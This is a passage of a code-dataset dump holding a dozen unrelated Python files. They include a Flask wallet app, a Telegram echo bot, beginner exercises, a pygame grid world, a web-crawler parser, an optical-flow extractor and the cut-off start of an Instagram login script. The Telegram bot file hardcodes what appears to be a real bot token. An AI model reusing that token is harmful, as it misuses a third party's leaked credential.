timeframe):\n self._open_osrtf()\n data = self._osrtf.get(timeframe)\n self._osrtf.close()\n return self._format_data(timeframe, data)\n\n def append(self, raw_data):\n while raw_data:\n usage_start, data = self._filter_period(raw_data)\n if self.usage_end is not None and usage_start >= self.usage_end:\n self._commit()\n self.usage_start = None\n\n if self.usage_start is None:\n self.usage_start = usage_start\n self.usage_end = usage_start + self._period\n self.usage_start_dt = (\n datetime.datetime.fromtimestamp(self.usage_start))\n self.usage_end_dt = (\n datetime.datetime.fromtimestamp(self.usage_end))\n\n self._dispatch(data)\n\n def commit(self):\n self._commit()\n\n def close(self):\n for writer in self._write_pipeline:\n writer.close()\n if self._osrtf is not None:\n self._osrtf.close()\n","sub_path":"cloudkitty/write_orchestrator.py","file_name":"write_orchestrator.py","file_ext":"py","file_size_in_byte":7385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"315925985","text":"from flask import Flask\nfrom flask_bcrypt import Bcrypt\nfrom flask_mail import Mail\nfrom flask_login import LoginManager\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_restful import Api\nfrom flask_jwt import JWT\n\nfrom KYC_WalletApp.config import Config\n\ndb = SQLAlchemy()\nflask_bcrypt = Bcrypt()\nlogin_manager = LoginManager()\nlogin_manager.login_view = 'users.login'\nlogin_manager.login_message_category = 'warning'\nmail = Mail()\n\n\ndef create_app(config_class=Config):\n app = Flask(\n __name__,\n template_folder='./templates',\n static_folder='./static'\n )\n app.config.from_object(Config)\n api = Api(app)\n\n db.init_app(app)\n flask_bcrypt.init_app(app)\n login_manager.init_app(app)\n mail.init_app(app)\n\n @app.before_first_request\n def create_tables():\n db.create_all()\n\n from KYC_WalletApp.main.routes import main\n from KYC_WalletApp.users.routes import users\n from KYC_WalletApp.wallets.routes import wallets\n\n app.register_blueprint(main)\n app.register_blueprint(users)\n app.register_blueprint(wallets)\n\n from KYC_WalletAPI.resources.walletFactory import (DeployedWallets, WalletFactory,\n WalletRequest, ManageWallet, ApproveRequest,\n CreateNewWallet, ManageRequests, WalletData)\n\n api.add_resource(DeployedWallets, '/api/deployed_wallets')\n api.add_resource(WalletFactory, '/api/wallet_factory')\n api.add_resource(WalletRequest, '/api/wallet_request/')\n api.add_resource(ManageWallet, '/api/manage_wallet/')\n api.add_resource(ApproveRequest, '/api/approve_request/')\n api.add_resource(CreateNewWallet, '/api/wallet_factory/create_wallet')\n api.add_resource(ManageRequests, '/api/requests_made_activity')\n api.add_resource(WalletData, '/api/retrieve_wallet_data/')\n\n return app\n","sub_path":"KYC_WalletApp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"89994359","text":"import os\n\nimport telebot\nfrom flask import Flask, request\nfrom modules.bank_info import get_rates\n\nTOKEN = '637911219:AAFn5svpVGTk64IaZdbVu036JyTsGwDoCTk'\nbot = telebot.TeleBot(TOKEN)\napp = Flask(__name__)\n\n\n@bot.message_handler(commands=['get_rates'])\ndef send_rates(message):\n bot.send_message(message.chat.id, get_rates())\n\n\n@bot.message_handler(commands=['start'])\ndef start(message):\n bot.reply_to(message, 'Hello, ' + message.from_user.first_name)\n\n\n@bot.message_handler(func=lambda message: True, content_types=['text'])\ndef echo_message(message):\n bot.reply_to(message, message.text)\n\n\n@app.route('/' + TOKEN, methods=['POST'])\ndef getMessage():\n bot.process_new_updates([telebot.types.Update.de_json(request.stream.read().decode(\"utf-8\"))])\n return \"!\", 200\n\n\n@app.route(\"/\")\ndef webhook():\n bot.remove_webhook()\n bot.set_webhook(url='https://littleenginethatcould-flaskapp.herokuapp.com/' + TOKEN)\n return \"!\", 200\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=int(os.environ.get('PORT', 5000)), debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"135286815","text":"# 1. Поработайте с переменными, создайте несколько, выведите на экран,\n# запросите у пользователя несколько чисел и строк и сохраните в переменные, выведите на экран.\n\nname = input(\"Введите ваше имя: \")\nage = int(input(\"Введите ваш возраст: \"))\ncode = int(input(\"Введите код доступа (либо 1276, либо 9738) \"))\nif code == 1276:\n print(\"Ваше имя\", name, \"Ваш возраст\", age, \"Предоставлен полный доступ\", sep=\"\\n\")\nelif code == 9738:\n print(\"Ваше имя\", name, \"Ваш возраст\", age, \"Предоставлен ограниченный доступ\", sep=\"\\n\")\nelse:\n print(\"Неверный код доступа\")\n\n# 2. Пользователь вводит время в секундах. Переведите время в часы, минуты и секунды\n# и выведите в формате чч:мм:сс. Используйте форматирование строк.\n\ntime = int(input(\"Введите время в секундах: \"))\ntime_format = int(input(\"Введите 24 (если 24-ёх часовой формат) или 12 (если 12-ти часовой формат): \"))\nif 0 <= time <= 86399 and time_format == 24 or time_format == 12:\n if time_format == 24:\n print(f\"{time // 3600:02d}:{time % 3600 // 60:02d}:{time % 60:02d}\")\n elif time_format == 12:\n if time <= 43199:\n print(f\"{time // 3600:02d}:{time % 3600 // 60:02d}:{time % 60:02d} a.m.\")\n else:\n time_0 = time - 43200\n print(f\"{time_0 // 3600:02d}:{time_0 % 3600 // 60:02d}:{time_0 % 60:02d} p.m.\")\nelse:\n print(\"Недопустипое значение времени (от 0 до 86399) либо формата (12 или 24)\")\n\n# 3. Узнайте у пользователя число n. Найдите сумму чисел n + nn + nnn.\n# Например, пользователь ввёл число 3. Считаем 3 + 33 + 333 = 369.\n\nnumber = int(input(\"Введите число: \"))\nprint(\"Сумма чисел равна: \", number + number * 10 + number * 2 ** 10)\n\n# 4. Пользователь вводит целое положительное число. Найдите самую большую цифру в числе.\n# Для решения используйте цикл while и арифметические операции.\n\nnumber, maximum = int(input(\"Введите число: \")), 0\nwhile number > 0:\n total = number % 10\n if total > maximum:\n maximum = total\n number //= 10\nprint(maximum)\n\n# 5. Запросите у пользователя значения выручки и издержек фирмы. Определите, с каким финансовым результатом\n# работает фирма (прибыль — выручка больше издержек, или убыток — издержки больше выручки).\n# Выведите соответствующее сообщение. Если фирма отработала с прибылью, вычислите рентабельность\n# выручки (соотношение прибыли к выручке).\n# Далее запросите численность сотрудников фирмы и определите прибыль фирмы в расчете на одного сотрудника.\n\nx = int(input(\"Введите выручку фирмы: \"))\ny = int(input(\"Введите издержки фирмы: \"))\nif x > y:\n print(\"Фирма работает в прибыль\")\n print(\"Рентабельность выручки:\", int(round((x - y) / x, 2) * 100), \"%\")\n z = int(input(\"Введите количество сотрудников фирмы: \"))\n print(f\"Прибыль фирмы в расчете на одного сотрудника:, {(x - y) / z:.2f}\")\nelif x == y:\n print(\"Фирма работает в ноль\")\nelse:\n print(\"Фирма работает в убыток\")\n\n# 6. Спортсмен занимается ежедневными пробежками. В первый день его результат составил a километров.\n# Каждый день спортсмен увеличивал результат на 10 % относительно предыдущего. Требуется определить номер дня,\n# на который общий результат спортсмена составит не менее b километров.\n# Программа должна принимать значения параметров a и b и выводить одно натуральное число — номер дня.\n\na, b, c, total = int(input(\"Введите первое число: \")), int(input(\"Введите второе число: \")), 0, 1\nwhile b > c:\n total += 1\n c = 1.1 * a\n a = c\nprint(total)\n","sub_path":"Lesson01/Lesson01.py","file_name":"Lesson01.py","file_ext":"py","file_size_in_byte":5187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"221125317","text":"import numpy as np\nfrom keras.optimizers import RMSprop\n\nfrom molecules.ml.unsupervised import VAE\nfrom molecules.ml.unsupervised import EncoderConvolution2D\nfrom molecules.ml.unsupervised import DecoderConvolution2D\nfrom molecules.ml.unsupervised import HyperparamsEncoder\nfrom molecules.ml.unsupervised import HyperparamsDecoder\n\n\ndef objective(hparams):\n kernel1 = int(hparams[0])\n kernel2 = int(hparams[1])\n kernel3 = int(hparams[2])\n\n kernels = [kernel1, kernel2, kernel3]\n\n hparams_enc = HyperparamsEncoder()\n hparams_dec = HyperparamsDecoder()\n\n hparams_enc.kernels = kernels\n hparams_dec.kernels = kernels\n\n optimizer = RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.0)\n\n encoder = EncoderConvolution2D(\n input_shape=input_shape,\n hyperparameters=hparams_enc\n )\n\n encoder._get_final_conv_params()\n num_conv_params = encoder.total_conv_params\n encode_conv_shape = encoder.final_conv_shape\n\n decoder = DecoderConvolution2D(\n output_shape=input_shape,\n enc_conv_params=num_conv_params,\n enc_conv_shape=encode_conv_shape,\n hyperparameters=hparams_dec\n )\n\n cvae = VAE(\n input_shape=input_shape,\n latent_dim=3,\n encoder=encoder,\n decoder=decoder,\n optimizer=optimizer\n )\n\n history = cvae.train(x_train, validation_data=x_val, batch_size=512, epochs=100, callbacks=[])\n return np.mean(history.val_loss)\n","sub_path":"molexperiments/cvae/fspeptide/hyperparameter_optimization/objective.py","file_name":"objective.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"604050443","text":"#!/usr/local/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"pygame helper.\"\"\"\n\nfrom colors import Colors\n\nimport gflags\nimport pygame\nimport Queue\nimport sys\nimport threading\n\nfrom pygame.locals import *\n\nfrom memoized import *\nimport world_rules\n\nFLAGS = gflags.FLAGS\n\nBACKGROUND = Colors.white()\n\n\nclass Error(Exception):\n \"\"\"General error.\"\"\"\n\n\nclass NoNeighbor(Error):\n \"\"\"Raised if square has no neighbor in the indicated direction.\"\"\"\n\n\nclass OutsideWorld(Error):\n \"\"\"Raised if neighbor would be outside the known world.\"\"\"\n\n\nclass World(object):\n \"\"\"The world (grid). (0,0) is top left. Should be square.\"\"\"\n\n def __init__(self, width, height, square_width, rules, squares,\n black_white=False, random_events=False, workers=10):\n \"\"\"Init.\n\n Args:\n width: (int) width of the world in pixels.\n height: (int) height of the world in pixels.\n square_width: (int) width/height of citizen squares\n rules: (world_rules.WorldRules) world rules, function pointer\n squares: (dict) dict of Square objects. Current state.\n \"\"\"\n pygame.init()\n self.width = width\n self.height = height\n self.square_width = square_width\n self.msg_width = 100\n self.black_white = black_white\n self.rules = rules()\n self.squares = squares\n self.random_events = random_events\n # worker queue\n #self.q = Queue.Queue()\n #self.q = multiprocessing.JoinableQueue()\n #self._StartWorkers(workers)\n\n def Initialize(self):\n self.fps_clock = pygame.time.Clock()\n self.surface = pygame.display.set_mode((self.width + self.msg_width, self.height))\n self.fontObj = pygame.font.Font('freesansbold.ttf', 14)\n\n # set background\n self.Clear()\n\n # queue worker for processing next_gen data\n def Worker(self):\n while True:\n func, args = self.q.get()\n func(*args)\n self.q.task_done()\n\n def NextGeneration(self):\n \"\"\"Moves world to next generation.\"\"\"\n# for square_index, square in self.squares.iteritems():\n# # Put each next_gen square in a worker thread\n# self.q.put((self.NextGenSquare, [square_index]))\n#\n# # wait for all threads to finish work\n# self.q.join()\n\n for square_index in self.squares.iterkeys():\n self.NextGenSquare(square_index)\n\n # reset memoized cache\n #Memoized.reset()\n\n def NextGenSquare(self, square_index):\n \"\"\"Sets the square's nextgen state.\n\n Args:\n square_index: (int) square index in world\n \"\"\"\n square = self.squares[square_index]\n neighbors = self._NeighborCount(square)\n self.rules.NextGen(square, self.random_events, neighbors)\n\n\n def SetMessage(self, msg=\"Game\"):\n self.msgSurfaceObj = self.fontObj.render(msg, False, Colors.blue())\n self.msgRectobj = self.msgSurfaceObj.get_rect()\n self.msgRectobj.topleft = (self.width + 4, 0)\n\n # Clear previous msg\n self.surface.fill(Colors.white(), self.msgRectobj)\n\n self.surface.blit(self.msgSurfaceObj, self.msgRectobj)\n\n def DrawSquare(self, top, left, color, tint=None):\n # Draw inside grid.\n square_color = color() + tint\n pygame.draw.rect(\n self.surface, square_color, (top+1, left+1, self.square_width - 1,\n self.square_width - 1))\n\n def DrawGrid(self, color=Colors.green()):\n \"\"\"Draws grid.\"\"\"\n self._DrawVerticalGrid(color=color)\n self._DrawHorizontalGrid(color=color)\n\n def Clear(self):\n \"\"\"Clears surface.\"\"\"\n self.surface.fill(BACKGROUND)\n self.DrawGrid()\n self.Update()\n\n def Update(self):\n \"\"\"Redraws surface.\"\"\"\n pygame.display.update()\n\n def InWorld(self, position):\n \"\"\"Returns True if given position is in the World.\n\n Args:\n position: (tuple) (top, left) pixel.\n \"\"\"\n top, left = position[0], position[1]\n if (top < 0 or\n left < 0 or\n top + self.square_width > self.height or\n left + self.square_width > self.width):\n return False\n else:\n return True\n\n #@Memoized\n def _NeighborColor(self, square, position):\n \"\"\"Returns the color of the neighbor in position.\n\n Args:\n square: (Square) Object\n position: (string) Valid position from Square class (RIGHT, LEFT, etc)\n\n Returns:\n color, team: (Square.COLOR, teams.Team) color and team of neighbor.\n\n Raises:\n NoNeighbor: If there is no neighbor\n OutsideWorld: If neighbor would be outside the known world.\n \"\"\"\n neighbor_position = getattr(square, position)\n\n if neighbor_position in self.squares:\n return (self.squares[neighbor_position].color,\n self.squares[neighbor_position].team)\n else:\n raise NoNeighbor(\"No neighbor at %s\" % (neighbor_position,))\n\n def _NeighborCount(self, square):\n \"\"\"Returns the count and color of a square's neighbors.\n\n Args:\n square: (Square) Object\n\n Returns:\n neighbors: (dict) {\n Color.white: N, # total\n \"friends\": H,\n \"enemies\": J,\n \"total_neighbors\": L, # non-white neighbors\n \"influence\": Team # the team with the most influence\n # simply with the most squares\n # surrounding this one\n }\n \"\"\"\n neighbors = {\"total_neighbors\": 0, \"friends\": 0, \"enemies\": 0}\n\n\n if square.position == (46, 14):\n pass\n # initialize all colors to 0\n for color in Colors.all():\n neighbors[color] = 0\n\n neighbor_team_count = {}\n\n for pos in (world_rules.POSITIONS):\n try:\n neighbor_color, neighbor_team = self._NeighborColor(square, pos)\n except (OutsideWorld, NoNeighbor):\n continue\n\n neighbors[neighbor_color] += 1\n if neighbor_color != Colors.white:\n neighbors[\"total_neighbors\"] += 1\n\n neighbor_team_count.setdefault(neighbor_team, 0)\n neighbor_team_count[neighbor_team] += 1\n\n if neighbor_team == square.team:\n neighbors[\"friends\"] += 1\n else:\n neighbors[\"enemies\"] += 1\n\n influence = None\n max = 0\n for team, count in neighbor_team_count.iteritems():\n if count > max:\n max = count\n influence = team\n\n\n neighbors[\"influence\"] = influence\n\n return neighbors\n\n def _DrawVerticalGrid(self, color):\n \"\"\"Draws vertical grid.\"\"\"\n for x in xrange(0, self.width + self.square_width, self.square_width):\n pygame.draw.line(self.surface, color, (x, 0),\n (x, self.height), 1)\n\n def _DrawHorizontalGrid(self, color):\n \"\"\"Draws horizontal grid.\"\"\"\n for y in xrange(0, self.height + self.square_width, self.square_width):\n pygame.draw.line(self.surface, color, (0, y),\n (self.width, y), 1)\n\n def _StartWorkers(self, num_worker_threads):\n \"\"\"Starts queue workers.\"\"\"\n for i in range(num_worker_threads):\n t = threading.Thread(target=self.Worker)\n #t = multiprocessing.Process(target=self.Worker)\n t.daemon = True\n t.start()\n","sub_path":"src/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":7040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"185002435","text":"from bipbop.client import WebService\n\n\ndef query_arguments(query, params):\n data = []\n for key, value in params.items():\n data.append(\"'%s' = '%s'\" % (key, value))\n query += ' ' if query.upper().find('WHERE') != -1 else ' WHERE '\n query += ' AND '.join(data)\n return query\n\n\nws = WebService()\nresponse = ws.post(\"SELECT FROM 'JURISTEK'.'DATALAKE'\", {\n \"data\": query_arguments(\"SELECT FROM 'DATALAKE'.'NOME'\", {\n 'nome': 'HOSPITAL SANTA JOANA',\n 'inicio': '2019/08/10',\n 'fim': '2020/08/10',\n 'filter': 'andamento',\n 'limit': 100,\n 'skip': 1\n })\n})\n\n\ndef get_text(item, query):\n field = item.find(query)\n if field is None:\n return None\n return field.text\n\n\nfor item in response.findall('./body/advogado/processos/processo'):\n print({\n \"nome_parte\": get_text(item, './nome_parte'),\n \"tribunal_nome\": get_text(item, './tribunal_nome'),\n \"tribunal_consulta\": get_text(item, './tribunal_consulta'),\n \"parte\": get_text(item, './parte'),\n \"polo\": get_text(item, './polo'),\n \"numero_processo\": get_text(item, './numero_processo'),\n \"primeiro_andamento\": get_text(item, './primeiro_andamento'),\n })\n","sub_path":"test_juristek.py","file_name":"test_juristek.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"167643377","text":"# coding=utf-8\n\nfrom bs4 import BeautifulSoup\nimport re\nimport urlparse\n\n\nclass Parser(object):\n def parse(self, page_url, content):\n if page_url is None or content is None:\n return None\n soup = BeautifulSoup(content, 'html.parser', from_encoding='utf8')\n new_urls = self._get_new_urls(page_url, soup)\n new_data = self._get_new_data(page_url, soup)\n return new_urls, new_data\n\n def _get_new_urls(self, page_url, soup):\n links = soup.find_all('a', href=re.compile(r'/item/[\\s\\S]+?'))\n new_urls = set()\n\n for link in links:\n new_url = link['href']\n full_url = urlparse.urljoin('http://baike.baidu.com', '%s') % new_url[1:]\n new_urls.add(full_url)\n\n return new_urls\n\n def _get_new_data(self, page_url, soup):\n res_data = dict()\n\n res_data['url'] = page_url\n\n title_node = soup.find('dd', class_='lemmaWgt-lemmaTitle-title').find('h1')\n res_data['title'] = title_node.get_text()\n\n summary_node = soup.find('div', class_='lemma-summary')\n res_data['summary'] = summary_node.get_text()\n\n return res_data\n","sub_path":"crawer/html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"169261738","text":"import requests, json, numpy as np\ndef get_test_point():\n return [np.random.randint(255) for _ in range(785)]\n# time.sleep(5)\n\napp_name = \"mxnet-test1\"\nmodel_name = \"mxnet-model1\"\n\n\nprint( get_test_point())\nurl = \"http://127.0.0.1:1337/\"+ app_name + \"/predict\"\nprint(url)\nheaders = {\"Content-type\": \"application/json\"}\nout = requests.post(url, headers=headers, data=json.dumps({\"input\": get_test_point()})).json()\nprint(out)\n","sub_path":"mxnet_test.py","file_name":"mxnet_test.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"495812510","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n#\n\nimport os\nimport pickle\n\nimport cv2 as cv\nimport numpy as np\n\n\nclass Extractor():\n def __init__(self, cls_root, save_dir, video2path):\n super().__init__()\n self.cls_root = cls_root\n self.save_dir = save_dir\n self.video2path = video2path\n if not os.path.exists(self.save_dir):\n os.makedirs(self.save_dir)\n\n self.record = open('./{}.txt'.format(os.path.basename(__file__).split('.')[0]), 'w+')\n\n def run(self):\n for split in os.listdir(self.cls_root):\n if split == 'test' or split == 'val':\n continue\n if not os.path.exists(os.path.join(self.save_dir, split)):\n os.mkdir(os.path.join(self.save_dir, split))\n\n for cls_txt in os.listdir(os.path.join(self.cls_root, split)):\n cls = cls_txt.split('.')[0]\n print('processing split-{}, cls-{}'.format(split, cls))\n if not os.path.join(self.save_dir, split, cls):\n os.mkdir(os.path.join(save_dir, split, cls))\n\n for idx, line in enumerate(open(os.path.join(cls_root, split, cls_txt), 'r+').readlines()):\n print(idx)\n vdo_name = line.split(' ')[0]\n if not os.path.exists(os.path.join(self.save_dir, split, cls)):\n os.mkdir(os.path.join(self.save_dir, split, cls))\n try:\n self.rgb_flow_gen(vdo_name, os.path.join(self.save_dir, split, cls))\n except Exception as e:\n print(e)\n with open('./{}.txt'.format(os.path.basename(__file__).split('.')[0], 'a+')) as record:\n record.write('[Error] {}\\n'.format(str(e)))\n\n def rgb_flow_gen(self, video, save_dir):\n # usage :\n # rgb_flow_gen('928296508.mp4', '/home/datasets/mayilong/PycharmProjects/p55/two_stream/v1/data/video_tmp')\n vdo_name = video.split('.')[0]\n vdo_path = video2path[video]\n cap = cv.VideoCapture(vdo_path)\n all_frames = int(cap.get(cv.CAP_PROP_FRAME_COUNT))\n img_height = int(cap.get(cv.CAP_PROP_FRAME_HEIGHT))\n img_width = int(cap.get(cv.CAP_PROP_FRAME_WIDTH))\n fps = int(cap.get(cv.CAP_PROP_FPS))\n\n idx = 0\n interval = np.random.randint(0, 60)\n suffix = 0\n start_pos = np.random.randint(10, 60)\n prev_gray = None\n cur_gray = None\n already_save_rgb = False\n rgb_buf = []\n need_break = False\n while idx < all_frames:\n ret, frame = cap.read()\n if ret is False:\n rgb_buf.clear()\n cap.release()\n\n if idx < start_pos:\n idx += 1\n continue\n\n if need_break:\n for i in range(interval):\n ret, frame = cap.read()\n if ret is False:\n cap.release()\n break\n need_break = False\n interval = np.random.randint(0, 60)\n\n if (idx - start_pos) % 4 == 0:\n rgb_buf.append(frame)\n if len(rgb_buf) == 11:\n rgb_of_folder = os.path.join(os.path.join(save_dir, vdo_name + '_' + str(suffix)))\n if not os.path.exists(rgb_of_folder):\n os.mkdir(rgb_of_folder)\n suffix += 1\n self.handle_rgb_buf(rgb_buf, rgb_of_folder)\n rgb_buf.clear()\n need_break = True\n if suffix >= 4:\n cap.release()\n break\n\n idx += 1\n\n def handle_rgb_buf(self, rgb_buf, save_dir):\n # usage rgb_buf (list contain 11 rgb frame) save_dir (path/to/video_name)\n if len(rgb_buf) == 0 or len(rgb_buf) != 11:\n raise RuntimeError('rgb_buf is empty')\n rgb_file = rgb_buf[5]\n cv.imwrite(os.path.join(save_dir, 'rgb.jpeg'), rgb_file)\n prev_gray = cv.cvtColor(rgb_buf[0], cv.COLOR_RGB2GRAY)\n for i in range(1, len(rgb_buf)):\n cur_gray = cv.cvtColor(rgb_buf[i], cv.COLOR_RGB2GRAY)\n flow = cv.calcOpticalFlowFarneback(prev_gray, cur_gray, None, 0.5, 3, 15, 3, 5, 1.2, 0)\n flow_x = flow[..., 0]\n flow_y = flow[..., 1]\n\n cv.imwrite(os.path.join(save_dir, 'flowx_{:02d}.jpeg'.format(i - 1)), flow_x)\n cv.imwrite(os.path.join(save_dir, 'flowy_{:02d}.jpeg'.format(i - 1)), flow_y)\n prev_gray = cur_gray\n cur_gray = None\n\n\nif __name__ == '__main__':\n # rgb_flow_gen('928296508.mp4', '/home/datasets/mayilong/PycharmProjects/p55/two_stream/v1/data/video_tmp')\n cls_root = '/home/datasets/mayilong/PycharmProjects/p55/two_stream/v1/data/split_data'\n save_dir = '/home/datasets/mayilong/PycharmProjects/p55/two_stream/v1/data/datasets'\n video2path = pickle.load(\n open('/home/datasets/mayilong/PycharmProjects/p55/resource/train_val_video2path.pkl', 'rb'))\n extractor = Extractor(cls_root, save_dir, video2path)\n extractor.run()\n","sub_path":"two_stream/datasets/dataset3/extract_rgb_flow.py","file_name":"extract_rgb_flow.py","file_ext":"py","file_size_in_byte":5225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"112098665","text":"import argparse\nimport sys\nimport pandas as pd\nimport re\nimport yaml\nimport os\nimport os.path as osp\n\nfrom multiprocessing import Pool\n\nsys.path.append(\"/home/viselol/simplot\")\nimport simplot as sp\n\n\ndef main():\n parser = argparse.ArgumentParser(description = 'Aggregates total stats for different runs of the same workload.')\n parser.add_argument('-w', '--workloads', required=True, help='YAML file with the workloads to process.')\n parser.add_argument('-i', '--input-dirs', nargs='+', required=True, help='Input data dirs.')\n parser.add_argument('-n', '--names', nargs='+', default=[], help='Names for the input data dirs.')\n parser.add_argument('-o', '--output-dir', default='plottot', help='Output dir.')\n parser.add_argument('-t', '--threads', type=int, default=1, help='Number of threads to use.')\n parser.add_argument('-c', '--columns', type=yaml.load, default=dict(), help='Dictionary with the coluluns to plot and the opperation to perform on them.')\n args = parser.parse_args()\n\n # Read the file with the list of workloads\n with open(args.workloads, 'r') as f:\n workloads = yaml.load(f)\n\n # Create output dir\n os.makedirs(osp.abspath(args.output_dir), exist_ok=True)\n\n # Read names\n if not args.names:\n for idir in args.input_dirs:\n with open(\"{}/name\".format(idir)) as f:\n args.names.append(f.readline().strip())\n assert len(args.input_dirs) == len(args.names)\n\n # Prepare arguments\n arguments = list()\n for metric, agg in args.columns.items():\n arguments.append((workloads, metric, agg, args.names, args.input_dirs, args.output_dir))\n\n # Parallellize\n assert len(arguments), colored(\"Nothing to read\", \"red\")\n print(\".\" * len(arguments), end=\"\")\n print(\"\\b\" * len(arguments), end=\"\")\n if args.threads > 1:\n with Pool(args.threads) as pool:\n pool.starmap(plot_metric, arguments)\n else:\n for data in arguments:\n plot_metric(*data)\n print()\n\n\n\ndef plot_metric(workloads, metric, agg, names, input_dirs, output_dir):\n a = sp.default_args()\n # a.equal_yaxes = [list(range(num_metrics))]\n # a.equal_xaxes = [list(range(num_metrics))]\n a.equal_yaxes = [[]]\n a.equal_xaxes = [[]]\n index = 0\n\n filename = \"{}/{}_wls.csv\".format(output_dir, metric.replace('/','.'))\n dfs_metric = []\n for wl_id, wl in enumerate(workloads):\n wl_name = \"-\".join(wl)\n dfs_exp = []\n for exp_id, (exp_name, input_dir) in enumerate(zip(names, input_dirs)):\n wl_dir = \"{}/{}\".format(input_dir, wl_name)\n wl_fin = \"{}/{}_fin.csv\".format(input_dir, wl_name)\n\n # Test if file exists\n if not os.path.exists(wl_fin):\n print(\"The workload {} has no 'fin' file\".format(wl_name))\n continue\n\n usecols = [\"app\", metric + \":mean\", metric + \":std\"]\n df = pd.read_table(wl_fin, sep=\",\", usecols=usecols)\n df.set_index(\"app\", inplace=True)\n df.columns = [\"{}:{}\".format(exp_name, metric), \"{}:{}:std\".format(exp_name, metric)]\n dfs_exp.append(df)\n df = pd.concat(dfs_exp, axis=1) # For this workload we have the data from all the experiments\n\n if agg == \"sum\":\n df = pd.DataFrame(df.sum()).T\n elif agg == \"max\":\n df = pd.DataFrame(df.max()).T\n else:\n assert(1==2)\n\n dfs_metric.append(df)\n df = pd.concat(dfs_metric, axis=0).reset_index(drop=True) # We have data for all the workloads\n df.to_csv(filename)\n\n plot = dict()\n plot[\"kind\"] = \"l\"\n plot[\"datafile\"] = filename\n plot[\"index\"] = 0\n plot[\"cols\"] = [df.columns.get_loc(\"{}:{}\".format(n, metric)) + 1 for n in names]\n plot[\"ecols\"] = [df.columns.get_loc(\"{}:{}:std\".format(n, metric)) + 1 for n in names]\n plot[\"labels\"] = names\n plot[\"xlabel\"] = \"Workloads\"\n plot[\"ylabel\"] = metric\n plot[\"yminorlocator\"] = [\"AutoMinorLocator\", {\"n\": 5}]\n plot[\"xminorlocator\"] = [\"IndexLocator\", {\"base\": 1, \"offset\": 0}]\n plot[\"ymin\"] = 0\n hlines = []\n for n, name in enumerate(names):\n column = \"{}:{}\".format(name, metric)\n # LUCIA = change median by mean\n hlines += [[df[column].mean(), {\"linestyle\": '-.', \"color\": \"D{}\".format(n)}]]\n #hlines += [[df[column].median(), {\"linestyle\": '-.', \"color\": \"D{}\".format(n)}]]\n hlines += [[df[column].quantile(0.25), {\"linestyle\": ':', \"color\": \"D{}\".format(n)}]]\n hlines += [[df[column].quantile(0.75), {\"linestyle\": ':', \"color\": \"D{}\".format(n)}]]\n print(hlines)\n plot[\"hl\"] = hlines\n a.plot.append(plot)\n\n grid = [[1,1]]\n figs, axes = sp.create_figures(grid, a.size, a.dpi)\n sp.plot_data(figs, axes, a.plot, a.title, a.equal_xaxes, a.equal_yaxes, a.rect)\n metric = re.sub('/$', '', metric).replace(\"/\", \".\")\n sp.write_output(figs, \"{}/{}_{}.pdf\".format(output_dir, metric, agg), a.rect)\n print(\"x\", end=\"\", flush=True)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/plot_tot_wl.py","file_name":"plot_tot_wl.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"556950175","text":"import unittest\n\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.ntp import NTP\n\nfrom cp3_interceptor import CP3Interceptor\n\n\nclass CP3InterceptorTests(unittest.TestCase):\n\n def test_check_pck_pck_is_No_NTP_False_Returned(self):\n # Arrange\n interceptor = CP3Interceptor('','')\n\n # Act\n result = interceptor.check_pck(IP())\n\n # Assert\n self.assertFalse(result)\n\n def test_check_pck_has_no_matching_ip_False_Returned(self):\n # Arrange\n interceptor = CP3Interceptor('3.3.3.3', '4.4.4.4')\n pck = IP(dst='1.1.1.1',src='2.2.2.2') / UDP() / NTP()\n\n # Act\n result = interceptor.check_pck(pck)\n\n # Assert\n self.assertFalse(result)\n\n def test_check_pck_has_matching_ip_True_Returned(self):\n # Arrange\n interceptor = CP3Interceptor('3.3.3.3', '4.4.4.4')\n pck = IP(dst='1.1.1.1', src='3.3.3.3') / UDP() / NTP()\n\n # Act\n result = interceptor.check_pck(pck)\n\n # Assert\n self.assertTrue(result)\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"python/cp3_code/tests_cp3_interceptor.py","file_name":"tests_cp3_interceptor.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"344893408","text":"import json\nimport re\nimport requests\nimport sys\nfrom datetime import datetime\nfrom account import username,password\n\nclass InstagramLogin():\n link = \"https://www.instagram.com/accounts/login/\"\n login_url = \"https://www.instagram.com/accounts/login/ajax/\"\n time = int(datetime.now().timestamp())\n csrf = \"\"\n with requests.Session() as req:\n x = req.get(url=link, headers={\"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel 